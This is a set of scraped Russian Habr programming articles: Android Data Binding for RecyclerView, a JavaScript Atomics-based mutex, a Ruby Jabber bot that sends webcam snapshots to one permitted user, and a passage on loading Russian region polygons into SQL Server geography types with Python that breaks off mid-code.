Ну и конечно же — устройства, которые мы проектируем, в первую очередь должны быть удобными в применении и не вызывать чувства ненависти у пользователя. Надеюсь, производители моего электрочайника когда-нибудь это поймут, а вызывающие кровь из ушей звуки уйдут в прошлое наравне с ослепляющими светодиодами. Спасибо за внимание! | https://habr.com/ru/post/316990/ | null | ru | null |
# Android Data Binding for RecyclerView: flexible way
Со времени первого анонса на Google IO 2015 новой библиотеки [Data Binding Library](https://developer.android.com/topic/libraries/data-binding/index.html) прошло немало времени. Появилось много примеров, много гайдов и много исправлений и доделок в самой библиотеке. Вот уже и биндинг стал two-way, и ссылаться на другие View по их id можно в самом layout-файле да и армия поклонников этой библиотеки неуклонно растет. И, наверное, каждый новый адепт начинает с поиска примеров — как правильно использовать так чтобы и удобно, и меньше кода, и по-феншуй. Если сейчас вбить запрос на подобии «Android DataBinding + RecyclerView» то, наверняка, получим целую кучу ссылок на различные гайды. Даже на Хабре уже была подобная статья — [Android Data Binding in RecyclerView](https://habrahabr.ru/company/dataart/blog/267735/).
Но не смотря на такое обилие ресурсов/гайдов, многие из них показывают базовый функционал, и каждый разработчик, начиная активно использовать Data Binding, придумывает свой, удобный ему способ работы. Далее будет показан один из таких способов.
Пример тут: [DataBinding\_For\_RecyclerView](https://github.com/drstranges/DataBinding_For_RecyclerView)
Этапы:
— реализация/настройка Адаптера (viewTypes, items, обработка кликов по элементам и внутри самих элементов списка);
— настройка RecyclerView (задать LayoutManager, Adapter, ItemDecorator, ItemAnimator, item divider size, ScrollListener, ...).
Конфигурирование RecyclerView
-----------------------------
Оставим пока реализацию адаптера и рассмотрим способ задания конфигурации самого RecyclerView. Самый простой здесь способ, просто присвоить id для RecyclerView и уже в коде задать все параметры:
```
mBinding.recyclerView.setLayoutManager(new LinearLayoutManager(context)); // + другие настройки.
```
Второй, часто встречаемый, способ — сделать часть самых банальных инициализаций в коде, например, так:
И наконец, используемый автором способ — использовать класс-посредник, который будет сконфигурирован в коде и применен через биндинг. Профит такого подхода в возможности скрыть «дефолтные» настройки внутри класса-посредника (хелпера), но при этом иметь полный контроль над конфигурированием RecyclerView в одном месте.
```
```
В коде:
```
ListConfig listConfig = new ListConfig.Builder(mAdapter)
//.setLayoutManagerProvider(new GridLayoutManagerProvider(mCount, mSpanLookup)) //LinearLayoutManager if not set
//.addItemDecoration(new ColorDividerItemDecoration(color, spacing, SPACE_LEFT | SPACE_TOP, false))
.setDefaultDividerEnabled(true)
.addOnScrollListener(new OnLoadMoreScrollListener(mCallback))
.setItemAnimator(getItemAnimator())
.setHasFixedSize(true)
.setItemTouchHelper(getItemTouchHelper())
.build(context);
```
**То, что собой представляет ListConfig**
```
public class ListConfig {
// Adapter, LayoutManager, ItemAnimator, ItemDecorations, ScrollListeners,
// ItemTouchHelper, hasFixedSize
private ListConfig(/*params*/) {
// init fields
}
public void applyConfig(final Context context, final RecyclerView recyclerView) {
//... apply config
}
public static class Builder {
public Builder(Adapter adapter) {/*set field*/}
public Builder setLayoutManagerProvider(LayoutManagerProvider layoutManagerProvider){/*set field*/}
public Builder setItemAnimator(ItemAnimator itemAnimator){/*set field*/}
public Builder addItemDecoration(ItemDecoration itemDecoration){/*set field*/}
public Builder addOnScrollListener(OnScrollListener onScrollListener){/*set field*/}
public Builder setHasFixedSize(boolean isFixedSize){/*set field*/}
public Builder setDefaultDividerEnabled(boolean isEnabled){/*set field*/}
public Builder setDefaultDividerSize(int size){/*set field*/}
public Builder setItemTouchHelper(ItemTouchHelper itemTouchHelper){/*set field*/}
public ListConfig build(Context context) {
/*set default values*/
return new ListConfig(/*params*/);
}
}
public interface LayoutManagerProvider {
LayoutManager get(Context context);
}
}
```
Реализация гибкого адаптера
---------------------------
Один из самых интересных вопросов — наследование или композиция. Многие повторяют как мантру «Предпочитай композицию наследованию», но все равно продолжают и дальше плодить наследников от наследников от наследников… Кто еще не знаком с потрясающей статьей на эту тему в применении к Адаптерам списков, обязательно просмотрите — [JOE'S GREAT ADAPTER HELL ESCAPE](http://hannesdorfmann.com/android/adapter-delegates). Если кратко, то представим такую ситуацию: нам дают задание реализовать простенькое приложение с 2-мя списками: список пользователей (User) и список локаций (Location). Ничего сложного, правда?) Создаем два адаптера, — UserAdapter и LocationAdapter, — и, по сути, все. Но тут, в следующем «спринте» (мы же по Agile, верно? ) заказчик хочет добавить еще и рекламу в каждый из этих списков (Advertisment).
```
public class User implements BaseModel {
public String name;
public String avatar;
}
public class Location implements BaseModel {
public String name;
public String image;
}
public class Advertisement implements BaseModel {
public String label;
public String image;
}
```
Никаких проблем, говорим мы, создаем еще один адаптер AdvertismentAdapter и наследуем от него оба предыдущих: UserAdapter extends AdvertismentAdapter и LocationAdapter extends AdvertismentAdapter. Все хорошо, все рады, но вот в новом «спринте» клиент хочет еще один список, где будут смешаны все 3 сущности сразу. Как быть теперь?
И вот тут и переходим от наследования к композиции. До этого у нас на каждый список был отдельный адаптер со своими типами (viewTypes), теперь заменим эту систему на один адаптер и 3 делегата на каждый тип элемента списка. Адаптер не будет ничего знать о типах элементов, которые отображает, но знает, что у него есть несколько делегатов, спросив по очереди каждый из которых, можно найти конкретный для нужного элемента списка и делегировать ему создание этого элемента.
**Адаптер на делегатах**
В таком случае, нам уже абсолютно все равно сколько списков и с какими типами элементов будут, любой список формируется как конструктор — набором делегатов.
```
mAdapter = new DelegateAdapter<>(
new UserDelegate(actionHandler),
// or new ModelItemDelegate(User.class, R.layout.item_user, BR.user),
new LocationDelegate(),
new AdvertismentDelegate(),
// ...
);
```
**Пример реализация делегата (UserDelegate)**
```
public class UserDelegate extends ActionAdapterDelegate {
public UserDelegate(final ActionClickListener actionHandler) {
super(actionHandler);
}
@Override
public boolean isForViewType(@NonNull final List items, final int position) {
return items.get(position) instanceof User;
}
@NonNull
@Override
public BindingHolder onCreateViewHolder(final ViewGroup parent) {
return BindingHolder.newInstance(R.layout.item\_user, LayoutInflater.from(parent.getContext()), parent, false);
}
@Override
public void onBindViewHolder(@NonNull final List items, final int position, @NonNull final BindingHolder holder) {
final User user = (User) items.get(position);
holder.getBinding().setUser(user);
holder.getBinding().setActionHandler(getActionHandler());
}
@Override
public long getItemId(final List items, final int position) {
return items.get(position).getId();
}
}
```
Что касается DataBinding, то вся магия — в особом ViewHolder:
```
public class BindingHolder extends RecyclerView.ViewHolder {
private VB mBinding;
public static BindingHolder newInstance(
@LayoutRes int layoutId, LayoutInflater inflater, ViewGroup parent, boolean attachToParent) {
final VB vb = DataBindingUtil.inflate(inflater, layoutId, parent, attachToParent);
return new BindingHolder<>(vb);
}
public BindingHolder(VB binding) {
super(binding.getRoot());
mBinding = binding;
}
public VB getBinding() {
return mBinding;
}
}
```
Если же, даже лень создавать отдельный делегат для каждого нового типа/вида элемента списка, можно воспользоваться особенностью биндинга и использовать единый универсальный делегат для любого типа:
```
// new UserDelegate(actionHandler),
new ModelItemDelegate(User.class, R.layout.item_user);
// or
new ModelItemDelegate(R.layout.item_user, BR.model, (item) -> item instance of User);
```
**ModelItemDelegate**
```
public class ModelItemDelegate extends BaseListBindingAdapterDelegate {
private final int mModelId;
private final int mItemLayoutResId;
private final ViewTypeClause mViewTypeClause;
public ModelItemDelegate(@NonNull Class extends T modelClass, @LayoutRes int itemLayoutResId) {
this(itemLayoutResId, BR.model, new SimpleViewTypeClause(modelClass));
}
public ModelItemDelegate(@LayoutRes int itemLayoutResId, int modelId, ViewTypeClause viewTypeClause) {
mItemLayoutResId = itemLayoutResId;
mViewTypeClause = viewTypeClause;
mModelId = modelId != 0 ? modelId : BR.model;
}
@Override
public boolean isForViewType(@NonNull List items, int position) {
return mViewTypeClause.isForViewType(items, position);
}
@NonNull
@Override
public BindingHolder onCreateViewHolder(ViewGroup parent) {
return BindingHolder.newInstance(mItemLayoutResId, LayoutInflater.from(parent.getContext()), parent, false);
}
@Override
public void onBindViewHolder(@NonNull List items, int position, @NonNull BindingHolder holder) {
ViewDataBinding binding = holder.getBinding();
binding.setVariable(mModelId, items.get(position));
binding.executePendingBindings();
}
public interface ViewTypeClause {
boolean isForViewType(List items, int position);
}
public static class SimpleViewTypeClause implements ViewTypeClause {
private final Class mClass;
public SimpleViewTypeClause(@NonNull Class aClass) {
mClass = aClass;
}
@Override
public boolean isForViewType(List items, int position) {
return mClass.isAssignableFrom(items.get(position).getClass());
}
}
}
```
Обработку кликов по элементам несложно реализовать, передав через биндинг обработчик кликов, например, как описано тут — [Android и Data Binding: обработка действий](https://habrahabr.ru/post/305916/), или использовав любой другой, удобный для вас, способ.
Заключение
----------
Таким образом, используя Android Data Binding Library, реализация списков становиться совершенно обыденной вещью. Даже не нужно писать реализацию показанных выше вещей, а просто импортировав готовую библиотеку автора, или просто «скопипастив» их оттуда.
Библиотека с примером: [DataBinding\_For\_RecyclerView](https://github.com/drstranges/DataBinding_For_RecyclerView) | https://habr.com/ru/post/308872/ | null | ru | null |
# Использование Atomics.wait(), Atomics.notify() и Atomics.waitAsync()
Статические методы [Atomics.wait()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics/wait) и [Atomics.notify()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics/notify) представляют собой низкоуровневые примитивы синхронизации, которые можно применять для реализации мьютексов и других подобных механизмов. Но, так как метод `Atomics.wait()` является блокирующим, его нельзя вызывать в главном потоке (если попытаться это сделать — будет выдана ошибка `TypeError`).
Движок V8, начиная с версии 8.7, поддерживает неблокирующий вариант `Atomics.wait()`, называемый [Atomics.waitAsync()](https://github.com/tc39/proposal-atomics-wait-async/blob/master/PROPOSAL.md). Этим новым методом можно пользоваться в главном потоке.
[](https://habr.com/ru/company/ruvds/blog/522952/)
Сегодня мы расскажем о том, как применить эти низкоуровневые API для создания мьютекса, который может работать и в синхронном режиме (в потоках воркеров) и асинхронно (в потоках воркеров или в главном потоке).
Atomics.wait() и Atomics.waitAsync()
------------------------------------
Методы `Atomics.wait()` и `Atomics.waitAsync()` принимают следующие параметры:
* `buffer`: массив типа `Int32Array` или `BigInt64Array`, в основе которого лежит `SharedArrayBuffer`.
* `index`: действительный индекс элемента в массиве.
* `expectedValue`: значение, которое, как мы ожидаем, должно быть представлено в памяти, в том месте, которое описано с помощью `buffer` и `index`.
* `timeout`: тайм-аут в миллисекундах (необязательный параметр, по умолчанию установлен в `Infinity`).
`Atomics.wait()` возвращает строку. Если в указанном месте памяти не оказывается ожидаемого значения — `Atomics.wait()` немедленно завершает работу, возвращая строку `not-equal`. В противном случае поток блокируется. Для того чтобы блокировка была бы снята, должно произойти одно из следующих события. Первое — это вызов из другого потока метода `Atomics.notify()` с указанием того места в памяти, которое интересует метод `Atomics.wait()`. Второе — это истечение тайм-аута. В первом случае `Atomics.wait()` возвратит строку `ok`, во втором — строковое значение `timed-out`.
Метод `Atomics.notify()` принимает следующие параметры:
* `typedArray`: массив типа `Int32Array` или `BigInt64Array`, в основе которого лежит `SharedArrayBuffer`.
* `index`: действительный индекс элемента в массиве.
* `count`: количество агентов, ожидающих уведомления (необязательный параметр, по умолчанию установлен в `Infinity`).
Метод `Atomics.notify()` уведомляет указанное количество агентов, ожидающих уведомления по адресу, описываемому `typedArray` и `index`, обходя их в порядке FIFO-очереди. Если было сделано несколько вызовов `Atomics.wait()` или `Atomics.waitAsync()`, наблюдающих за одним и тем же местом в памяти, то все они оказываются в одной и той же очереди.
В отличие от метода `Atomics.wait()`, метод `Atomics.waitAsync()` сразу же возвращает значение в место вызова. Это может быть одно из следующих значений:
* `{ async: false, value: 'not-equal' }` — если указанное место в памяти не содержит ожидаемого значения.
* `{ async: false, value: 'timed-out' }` — только в тех случаях, когда тайм-аут установлен в 0.
* `{ async: true, value: promise }` — в остальных случаях.
Промис, по прошествии некоторого времени, может быть успешно разрешён строковым значением `ok` (если был вызван метод `Atomics.notify()`, которому переданы сведения о том месте в памяти, которое было передано `Atomics.waitAsync()`). Он может быть разрешён и со значением `timed-out`. Этот промис никогда не отклоняется.
В следующем примере продемонстрированы основы использования `Atomics.waitAsync()`:
```
const sab = new SharedArrayBuffer(16);
const i32a = new Int32Array(sab);
const result = Atomics.waitAsync(i32a, 0, 0, 1000);
// | | ^ тайм-аут (необязательно)
// | ^ ожидаемое значение
// ^ индекс
if (result.value === 'not-equal') {
// Значение в SharedArrayBuffer отличается от ожидаемого.
} else {
result.value instanceof Promise; // true
result.value.then(
(value) => {
if (value == 'ok') { /* агента уведомили */ }
else { /* истёк тайм-аут */ }
});
}
// В этом или в другом потоке:
Atomics.notify(i32a, 0);
```
Теперь давайте поговорим о том, как создать мьютекс, которым можно пользоваться и в синхронном, и в асинхронном режимах. Надо отметить, что реализация синхронной версии мьютекса ранее уже обсуждалась. Например — в [этом](https://blogtitle.github.io/using-javascript-sharedarraybuffers-and-atomics/) материале.
В этом примере мы не будем использовать параметр `timeout` при вызове `Atomics.wait()` и `Atomics.waitAsync()`. Этот параметр может быть использован для реализации условных конструкций, связанных с тайм-аутом.
Наш класс `AsyncLock`, представляющий мьютекс, работает с буфером `SharedArrayBuffer` и реализует следующие методы:
* `lock()`: блокирует поток до того момента, пока у нас не появится возможность захватить мьютекс (применим только в потоке воркера).
* `unlock()`: освобождает мьютекс (этот — противоположность `lock()`).
* `executeLocked(callback)`: пытается захватить блокировку, не блокируя при этом поток. Этот метод может быть использован в главном потоке. Он планирует выполнение коллбэка на тот момент, когда мы сможем захватить блокировку.
Взглянем на то, как могут быть реализованы эти методы. Объявление класса включает в себя константы и конструктор, который принимает буфер `SharedArrayBuffer`.
```
class AsyncLock {
static INDEX = 0;
static UNLOCKED = 0;
static LOCKED = 1;
constructor(sab) {
this.sab = sab;
this.i32a = new Int32Array(sab);
}
lock() {
/* … */
}
unlock() {
/* … */
}
executeLocked(f) {
/* … */
}
}
```
Здесь элемент `i32a[0]` содержит значение `LOCKED` или `UNLOCKED`. Он, кроме того, представляет то место в памяти, которое интересует `Atomics.wait()` и `Atomics.waitAsync()`. Класс `AsyncLock` обеспечивает следующие базовые возможности:
1. `Если i32a[0] == LOCKED` и поток оказывается в состоянии ожидания (после вызова `Atomics.wait()` или `Atomics.waitAsync()`), наблюдая за `i32a[0]`, он, в итоге, будет уведомлён.
2. После того, как поток получит уведомление, он попытается захватить блокировку. Если ему это удастся, то, он, когда будет освобождать блокировку, вызовет `Atomics.notify()`.
Синхронные захват и освобождение блокировки
-------------------------------------------
Рассмотрим код метода `lock()`, который можно вызывать только из потока воркера.
```
lock() {
while (true) {
const oldValue = Atomics.compareExchange(this.i32a, AsyncLock.INDEX,
/* Старое значение >>> */ AsyncLock.UNLOCKED,
/* Новое значение >>> */ AsyncLock.LOCKED);
if (oldValue == AsyncLock.UNLOCKED) {
return;
}
Atomics.wait(this.i32a, AsyncLock.INDEX,
AsyncLock.LOCKED); // <<< значение, ожидаемое в начале работы
}
}
```
Когда из потока вызывается метод `lock()`, сначала он пытается захватить блокировку, используя `Atomics.compareExchange()` для изменения состояния блокировки с `UNLOCKED` на `LOCKED`. Метод `Atomics.compareExchange()` пытается выполнить атомарную операцию изменения состояния блокировки, он возвращает исходное значение, находящееся в заданной области памяти. Если исходным значением было `UNLOCKED`, благодаря этому мы узнаем о том, что изменение состояния прошло успешно, и о том, что поток захватил блокировку. Ничего больше делать не нужно.
Если же `Atomics.compareExchange()` не смог изменить состояние блокировки, это значит, что блокировку удерживает другой поток. В результате поток, из которого вызван метод `lock()`, пытается воспользоваться методом `Atomics.wait()` для того чтобы дождаться момента освобождения блокировки другим потоком. Если в интересующей нас области памяти всё ещё хранится ожидаемое значение (в нашем случае — `AsyncLock.LOCKED`), то вызов `Atomics.wait()` заблокирует поток. Возврат из `Atomics.wait()` произойдёт только тогда, когда другой поток вызовет `Atomics.notify()`.
Метод `unlock()` освобождает блокировку, устанавливая её в состояние `UNLOCKED`, и вызывает `Atomics.notify()` для того чтобы уведомить агентов, ожидающих снятия этой блокировки. Предполагается, что операция изменения состояния блокировки всегда завершается успешно. Это так из-за того, что поток, выполняющий эту операцию, удерживает блокировку. Поэтому ничто другое в это время не должно вызывать метод `unlock()`.
```
unlock() {
const oldValue = Atomics.compareExchange(this.i32a, AsyncLock.INDEX,
/* старое значение >>> */ AsyncLock.LOCKED,
/* новое значение >>> */ AsyncLock.UNLOCKED);
if (oldValue != AsyncLock.LOCKED) {
throw new Error('Tried to unlock while not holding the mutex');
}
Atomics.notify(this.i32a, AsyncLock.INDEX, 1);
}
```
В типичном случае всё происходит так: блокировка свободна и поток T1 захватывает её, меняя её состояние с помощью `Atomics.compareExchange()`. Поток T2 пытается захватить блокировку, вызывая `Atomics.compareExchange()`, но не может изменить её состояние. Затем T2 вызывает `Atomics.wait()`, этот вызов блокирует поток. Через некоторое время поток T1 освобождает блокировку и вызывает `Atomics.notify()`. Это приводит к тому, что вызов `Atomics.wait()` в T2 возвращает `ok` и поток T2 выходит из блокировки. После этого T2 пытается захватить блокировку снова. На этот раз ему это удаётся.
Тут могут возникнуть два особых случая. Их разбор призван продемонстрировать причины того, что `Atomics.wait()` и `Atomics.waitAsync()` проверяют наличие конкретного значения по заданному индексу элемента массива. Вот эти случаи:
* T1 удерживает блокировку, а T2 пытается её захватить. Сначала T2 пытается изменить состояние блокировки, пользуясь `Atomics.compareExchange()`, но ему это не удаётся. Но потом T1 освобождает блокировку до того, как T2 успевает вызвать `Atomics.wait()`. А уже после этого T2 вызывает `Atomics.wait()`, откуда тут же происходит возврат значения `not-equal`. В подобном случае T2 переходит на следующую итерацию цикла и снова пытается захватить блокировку.
* T1 удерживает блокировку, а T2 вызывает `Atomics.wait()` и ожидает её освобождения. T1 освобождает блокировку, T2 активируется (осуществляется возврат из `Atomics.wait()`) и пытается выполнить операцию `Atomics.compareExchange()` для захвата блокировки. Но другой поток, T3, оказался быстрее. Он уже успел сам захватить эту блокировку. В результате вызов `Atomics.compareExchange()` не позволяет T2 захватить блокировку. После этого T2 снова вызывает `Atomics.wait()` и оказывается заблокированным до того момента, пока T3 не освободит блокировку.
Последний особый случай демонстрирует тот факт, что наш мьютекс работает «нечестно». Может случиться так, что поток T2 ожидал освобождения блокировки, но T3 успел захватить её немедленно после её освобождения. Реализация блокировки, более подходящая для реального применения, может использовать несколько состояний блокировки, существующих для того чтобы различать ситуации, в которых блокировка была просто «захвачена», и в которых «при захвате произошёл конфликт».
Асинхронный захват блокировки
-----------------------------
Неблокирующий метод `executeLocked()` можно, в отличие от метода `lock()`, вызывать из главного потока. Он получает, в качестве единственного параметра, коллбэк, и планирует вызов коллбэка после успешного захвата блокировки.
```
executeLocked(f) {
const self = this;
async function tryGetLock() {
while (true) {
const oldValue = Atomics.compareExchange(self.i32a, AsyncLock.INDEX,
/* старое значение >>> */ AsyncLock.UNLOCKED,
/* новое значение >>> */ AsyncLock.LOCKED);
if (oldValue == AsyncLock.UNLOCKED) {
f();
self.unlock();
return;
}
const result = Atomics.waitAsync(self.i32a, AsyncLock.INDEX,
AsyncLock.LOCKED);
// ^ значение, ожидаемое в начале работы
await result.value;
}
}
tryGetLock();
}
```
Внутренняя функция `tryGetLock()` сначала, как и прежде, пытается захватить блокировку с помощью `Atomics.compareExchange()`. Если вызов этого метода приводит к успешному изменению состояния блокировки, функция может вызвать коллбэк, а после этого — освободить блокировку и завершить работу.
Если вызов `Atomics.compareExchange()` захватить блокировку не позволил, нам нужно попытаться сделать это снова, в тот момент, когда блокировка, возможно, будет свободна. Но мы не можем заблокировать поток и ждать освобождения блокировки. Вместо этого мы планируем новую попытку захвата блокировки с использованием метода `Atomics.waitAsync()` и возвращаемого им промиса.
Если нам удалось выполнить метод `Atomics.waitAsync()`, то возвращённый этим методом промис разрешится тогда, когда поток, который удерживал блокировку, вызовет `Atomics.notify()`. После этого поток, который хотел захватить блокировку, как и прежде, снова пытается это сделать.
Тут возможны те особые случаи, что характерны для синхронной версии (блокировка освобождается между вызовами `Atomics.compareExchange()` и `Atomics.waitAsync()`; блокировку захватывает другой поток, делая это между моментами разрешения промиса и вызова `Atomics.compareExchange()`). Поэтому в подобном коде, применимом в реальных проектах, это необходимо учесть.
Итоги
-----
В этом материале мы рассказали о низкоуровневых примитивах синхронизации `Atomics.wait()`, `Atomics.waitAsync()` и `Atomics.notify()`. Мы разобрали пример создания на их основе мьютекса, который можно применять и в главном потоке, и в потоках воркеров.
Пригодятся ли в ваших проектах Atomics.wait(), Atomics.waitAsync() и Atomics.notify()?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=ispolzovanie_atomics_wait_atomics_notify_i_atomics_waitasyn#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=ispolzovanie_atomics_wait_atomics_notify_i_atomics_waitasyn) | https://habr.com/ru/post/522952/ | null | ru | null |
# Jabber WebCam Bot
Эта идея пришла мне как-то случайно. Получить снимок с вэб камеры, которая находится дома, находясь на работе или в другом городе и при этом не расшаривать камеру через вэб… И не коннектиться по ssh… Забавно… Что, если получить его одним запросом в джаббере! Звучит бредово, но я занялся реализацией этого бреда!
Все вышеописанное не претендует на мануал или инструкцию к действию. Повторение этих плясок с бубном может повредить вашу технику или мозг. Так что будьте осторожны)
Итак, для начала я изучил какие средства борьбы с джаббером существуют. Сначала искал библиотеки для Java. Выбор есть, но почему-то все довольно сложно сделано, а кое-что не работает с отдельно взятыми серверами(jabber.ru, например). Поэтому начал выбирать из этого [списка](http://xmpp.org/software/libraries.shtml). Выбор пал на… Ruby) Во-первых, потому что я его не знаю, во-вторых, из-за простоты первого же примера. В итоге, я остановился на [xmpp4r](http://home.gna.org/xmpp4r/). В руби я полнейший новичок, так что можете смело критиковать и кидать помидоры) Код в студию:
> `#!/usr/bin/ruby
>
> require 'xmpp4r/client'
>
>
>
> include Jabber
>
>
>
> class BasicClient
>
> MSG\_DEFAULT="If your see this message you client doesn`t support html"
>
> MSG\_DENIED="Access denied!"
>
>
>
> def initialize(args)
>
> puts(args[0])
>
> puts "Jabber WebCamBot initializing"
>
> @my\_jid=args[0]
>
> @my\_pwd=args[1]
>
> @user\_jid=args[2]
>
> if args[3] == "debug"
>
> Jabber::debug = true
>
> end
>
> puts "Will connect to " + @my\_jid + " and accept messages only from " + @user\_jid
>
> do\_connect
>
> do\_auth
>
> start\_work
>
> end
>
>
>
> def do\_connect()
>
> @jid = JID.new(@my\_jid)
>
> @cl = Client.new(@jid)
>
> @cl.connect
>
> end
>
>
>
> def do\_auth
>
> @cl.auth(@my\_pwd)
>
> presense = Presence.new(:dnd, "server running")
>
> @cl.send(presense)
>
> end
>
>
>
> def start\_work
>
> mainthread = Thread.current
>
> @cl.add\_message\_callback do |m|
>
> if m.type != :error
>
> msg\_jid=m.from.node + "@" + m.from.domain
>
> puts(msg\_jid)
>
> if msg\_jid != @user\_jid
>
> puts("Unknown user")
>
> m2 = Message.new(m.from, MSG\_DENIED)
>
> @cl.send(m2)
>
> else
>
> get\_image
>
> m2 = Message.new(m.from, MSG\_DEFAULT)
>
> m2.type = m.type
>
> h = REXML::Element::new("html")
>
> h.add\_namespace('http://jabber.org/protocol/xhtml-im')
>
>
>
> b = REXML::Element::new("body")
>
> b.add\_namespace('http://www.w3.org/1999/xhtml')
>
>
>
> t = REXML::Text.new( @cam\_image,
>
> false, nil, true, nil, %r/.^/ )
>
> b.add(t)
>
> h.add(b)
>
> m2.add\_element(h)
>
> puts(m.from)
>
> @cl.send(m2)
>
> end
>
> end
>
> end
>
> Thread.stop
>
> end
>
>
>
> def get\_image
>
> system("./make.img")
>
> image\_file = File.new("data.html", "r")
>
> @cam\_image = image\_file.read()
>
> end
>
> end
>
>
>
> BasicClient.new(ARGV)`
Скрипту передается 4 аргумента:
* Jabber ID
* Пароль от него
* Jabber ID пользователя, которому дозволено смотреть картинки с вашей вэбкамеры
* Опциональный параметр debug для вывода служебной информации от xmpp4r
Суть этого кода в том, что он коннектится к серверу и ждет, пока ему не придет сообщение от некоторого, заранее известного пользователя(тобишь меня, находящегося на работе). При получении этого сообщения скрипт запускает внешнюю команду ./make.img(о ней будет подробно рассказано далее) и формирует, на основе сгенерированного ею файла data.html, jabber сообщение, в котором в тэге html содержится наша картинка.
Тут мы подходим к самому интересному. Как передать картинку, что бы ее увидеть? Первоначальная моя идея была использовать ascii-арт. Но, попробовав, я понял, что разглядеть что-то будет нереально. Поэтому нам нужно передать html тэг img с инкапсулированными в него данными(через base64 кодирование). Сгенерировать такой пакет нам поможет скрипт make.img:
> `#!/bin/bash
>
>
>
> uvccapture -mv -o out.jpg
>
> convert out.jpg -quality 20 out.jpg
>
> IMG=$(cat out.jpg | base64)
>
> DATE=$(date -R)
>
> echo "Created: $DATE<br /><img src=\"data:image/png;base64,$IMG\" />" > data.html`
Этот скрипт захватывает изображение с камеры(uvccapture — тут может быть тысяча вариантов, каждый выбирает то средство захвата, которое работает у него. У меня вот uvccapture заработал). Далее мы понижаем качество его через ImageMagick(нафиг нам высококачественная картинка в джаббере?), потом делаем base64 кодирование и формируем html сообщение.
Но это лишь пол дела. Нужно это сообщение еще где-то увидеть. Я нашел лишь один клиент, который фривольно показывает картинки в сообщениях. Это [Synapse](http://synapse.im/). Появился он недавно, и о нем недавно писали на [Хабре](http://habrahabr.ru/search/?q=synapse+im). Работает он довольно просто, правда между запросом на получение картинки и отрисовкой проходит некоторый промежуток времени — непонятно из-за чего… Ну, и в итоге представляю скриншот нашей с ботом беседы:
P.S. Конечно, Вы можете сказать, что лучше чем заниматься такой ерундой искать решение NP-сложных задач, оптимизировать алгоритмы вычислительной физики или создавать стартапы. Может быть, но штука получилась забавная)
P.P.S. Надеюсь код не совсем ужасен и в тексте не так много очепяток) | https://habr.com/ru/post/56684/ | null | ru | null |
# Создание таблицы субъектов РФ в формате Geography T-SQL (SQL Server)
В процессе подготовки инструмента для автоматического определения субъекта РФ по точке (тип данных Point) потребовалась таблица вида "Субъект РФ" - "geography::Object".
Предыстория: есть большой автопарк (>1000 ТС), который отправляет свои координаты на сервер в составе данных "Машина" - "Момент времени UTC" - "geography::Point". На сервере есть вторая таблица определенных событий по транспортному средству в составе данных "Машина" - "Момент времени (местное время)" - "Событие". Две задачи - перевести время во второй таблице из местного в UTC и далее использовать обе таблицы для дальнейшей автоматизации аналитики по событиям ТС в привязке к субъектам РФ.
Поиск в гугле по фразе "geojson субъекты РФ" привел на страницу <https://gist.github.com/max107/6571147> - на ней в формате JSON перечислены субъекты и списки точек координат - границ.
Если вы пробежитесь по тексту, то структура этого JSON такая: на верхнем уровне один блок - один субъект. На следующем уровне вниз - блоки с нумерацией от 0 до, кажется, 19. Это означает, что субъект состоит из нескольких областей и каждая из них - это отдельный полигон (многоугольник). В файле нет Крыма, Севастополя. В файле не выделены Москва и СПб. Крым я дорисую сам, а Мск и СПб для моих задач не принципиальны.
Мы получили продукт кропотливого труда (спасибо большое автору этого массива координат и блоков) - полигоны и их границы. Осталось понять как его разобрать, забросить на сервер и сконструировать финальную таблицу.
Скорее всего есть более простые способы решения этой задачи, но, решая её поэтапно, удалось более детально разобраться в структуре объектов, попробовать методы работы с пространственными данными.
Скопировал текст опубликованного JSON в текстовый файл в блокнот, выбрал кодировку ANSI, сохранил в файл координаты\_субъектов\_РФ\_json.txt
Далее использовал Python и SQL Server Express в двух средах программирования, например (не реклама, это просто одни из множества): PyCharm Community Edition и SSMS. В SSMS на сервере заведем таблицу-приёмник, а в Python разберем текст из файла с JSON, сформируем в цикле текстовую строку для каждого субъекта и забросим на сервер.
Как указал выше: по структуре JSON понимаем, что некоторые из субъектов состоят из нескольких многоугольных областей. Одна область (не субъект, а блок внутри субъекта) соответствует типу пространственных данных Polygon. А несколько связанных областей, поименованных одним названием субъекта - MultiPolygon.
Сконструировать и записать в таблицу объект типа Polygon или Multipoligon можно методами STPolyFromText и STMPolyFromText, которые принимают два аргумента - текст с описанием фигуры и SRID - параметр, который говорит о выбранной системе измерений и координат. Он должен быть в создаваемом объекте таким же, как и в предмете будущего сравнения или иной связанной обработки (в моем случае это таблица с данными в формате geography::Point, наполняемой системой съема GPS-координат транспортного средства). Номер SRID можно получить методом .STSrid. У меня получилось 4326. Значит и субъекты РФ будут сконструированы с этим SRID.
Поскольку областей в рамках одного субъекта может быть много, все их я решил признать мультиполигонами и конструировать инструкцией ... = geography::STMPolyFromText('text', 4326).
Текстовая строка для этого метода должна быть такой: 'MULTIPOLYGON(((список точек границ 1 полигона)), ((список точек границ 2 полигона)), ... , ((список точек границ последнего полигона)))'
Точки указываются парой в формате "долгота пробел широта", список перечисляется через запятую.
Создаем на сервере в БД таблицу-приемник.
```
CREATE TABLE [dbo].[geozones_RF_subj](
[Subj_name] [nvarchar](250) NULL,
[Polygon_geo] [geography] NULL,
[List_of_coords] [nvarchar](max) NULL,
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
```
```
# импортируем модули для работы с JSON и с SQL-server
import json
import pyodbc
#подключаемся к базе данных на сервере
#используйте название своего сервера и БД
#драйвер может отличаться, если версия сервера старше
cnxn = pyodbc.connect(
r'DRIVER={ODBC Driver 17 for SQL Server};'
r'SERVER=LAPTOP-7TOVC7TC\SQLEXPRESS_AMO83;'
r'DATABASE=sandbox;trusted_connection=yes')
#объявляем курсор
cursor = cnxn.cursor()
#открываем файл и забираем содержимое в переменную data
with open(r"D:\координаты_субъектов_РФ_json.txt", "r") as read_file:
data = json.load(read_file)
#переменная data приняла словарь субъектов из вложенных словарей - полигонов,
#вложеные словари - списки пар координат границ
#цикл перебора словаря субъектов
for i in data.keys():
str_: str = 'MULTIPOLYGON(' # пишем в переменную стартовое слово
# вложенный цикл перебора словарей - полигонов
for j in data[i].keys():
str_ = str_ + '((' # описание полигона начинается двумя скобками
